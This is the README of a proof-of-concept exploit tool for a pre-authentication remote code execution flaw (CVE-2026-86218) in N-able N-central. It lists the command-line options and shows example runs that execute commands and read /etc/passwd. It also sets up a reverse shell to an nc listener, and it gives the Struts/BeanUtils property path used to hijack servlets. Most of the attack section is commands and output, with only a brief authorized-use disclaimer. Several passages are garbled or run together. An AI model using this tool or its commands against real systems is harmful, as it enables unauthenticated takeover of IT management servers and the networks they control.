
Python 3 proof-of-concept exploit for CVE-2026-86218, a pre-auth RCE in N-able N-central via a Struts multipart race condition, with command execution and reverse shell support.
This is a Python 3 proof-of-concept exploit for CVE-2026-86218, a critical pre-authentication remote code execution vulnerability in N-able N-central.
Vulnerability Details:
N-able N-central uses a session-scoped Struts form on an unauthenticated action (/remoteControlAction.do). Two concurrent multipart requests can race the form's multipart handler and expose Jetty's live configuration to Commons BeanUtils property population. This allows an attacker to:
/bin/sh -spip install requests
python3 CVE-2026-86218.py -t <target_url> [options]
| Option | Description |
|---|---|
-t, --target | Target N-central URL (e.g., https://192.168.1.100) |
-c, --command | Single command to execute |
-i, --interactive | Interactive command mode |
--lhost | Listener IP for reverse shell |
--lport | Listener port (default: 4444) |
--servlet | Servlet to replace: LogRetrieval, FileTransfer, AutomationManagerDownloadServlet |
--check | Check if target is vulnerable |
--no-verify-ssl | Disable SSL certificate verification |
--timeout | Request timeout (default: 30s) |
--race-delay | Race condition delay (default: 0.35s) |
-v, --verbose | Enable verbose output |
python3 CVE-2026-86218.py -t https://192.168.1.100 --check --no-verify-ssl
Expected Output:
[*] Checking target version at https://192.168.1.100
[+] N-central 2026.3.1.13 is vulnerable
python3 CVE-2026-86218.py -t https://192.168.1.100 -c "id" --no-verify-ssl
Expected Output:
╔══════════════════════════════════════════════════════════════════╗
║ CVE-2026-86218 - N-able N-central Pre-Auth RCE Exploit ║
║ Version: 1.0.0 ║
║ CVSS: 10.0 (Critical) ║
╚══════════════════════════════════════════════════════════════════╝
[*] Checking target version at https://192.168.1.100
[+] N-central 2026.3.1.13 is vulnerable
[*] Obtaining unauthenticated session...
[*] Performing multipart race condition...
[*] Establishing connection for race condition...
[*] Sending helper request to install handler...
[*] Sending mutation fields...
[+] Race condition completed successfully
[*] Executing command: id
[+] Command executed successfully
uid=998(nable) gid=998(nable) groups=998(nable)
Start listener first:
nc -lvnp 4444
Run exploit:
python3 CVE-2026-86218.py -t https://192.168.1.100 --lhost 10.10.14.5 --lport 4444 --no-verify-ssl
Expected Output:
[*] Preparing reverse shell to 10.10.14.5:4444
[!] Starting reverse shell...
[!] Make sure to have a listener running: nc -lvnp 4444
[+] Reverse shell payload sent successfully!
[+] Check your listener for incoming connection
Listener output:
listening on [any] 4444 ...
connect to [10.10.14.5] from (UNKNOWN) [192.168.1.100] 49234
id
uid=998(nable) gid=998(nable) groups=998(nable)
python3 CVE-2026-86218.py -t https://192.168.1.100 -i --no-verify-ssl
Interactive Session:
╔══════════════════════════════════════════════════════════════════╗
║ CVE-2026-86218 - N-able N-central Pre-Auth RCE Exploit ║
║ Version: 1.0.0 ║
║ CVSS: 10.0 (Critical) ║
╚══════════════════════════════════════════════════════════════════╝
[*] Checking target version at https://192.168.1.100
[+] N-central 2026.3.1.13 is vulnerable
[*] Obtaining unauthenticated session...
[*] Performing multipart race condition...
[+] Race condition completed successfully
[*] Entering interactive command mode
[*] Type 'exit' or 'quit' to leave
[*] Type 'shell' for reverse shell setup
ncentral> id
uid=998(nable) gid=998(nable) groups=998(nable)
ncentral> cat /etc/passwd | head -5
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
...
ncentral> shell
Listener IP: 10.10.14.5
Listener Port: 4444
[*] Preparing reverse shell to 10.10.14.5:4444
[+] Reverse shell payload sent successfully!
ncentral> exit
# Use FileTransfer servlet (more disruptive)
python3 CVE-2026-86218.py -t https://192.168.1.100 -c "id" --servlet FileTransfer --no-verify-ssl
| Servlet | Description | Impact |
|---|---|---|
LogRetrieval | Log retrieval endpoint (default) | Least disruptive, logs unavailable until restart |
FileTransfer | File transfer endpoint | Disrupts file transfer functionality |
AutomationManagerDownloadServlet | Automation manager download | Requires management UI port (8443) |
/remoteControlAction.do to extract version from error pageThe vulnerability exploits a race condition in Struts' multipart form handling:
The mutation fields use JavaBean property paths:
multipartRequestHandler.servlet.servletContext.classLoader.context.servletHandler.servlet(LogRetrieval).heldClass
This traverses: multipart handler → servlet context → classloader → WebAppContext → servlet handler → specific holder
/remoteControlAction.doThis exploit is provided for authorized security testing and educational purposes only. Unauthorized use of this exploit against systems you do not own or have permission to test is illegal and unethical.
Always obtain proper authorization before conducting penetration testing activities.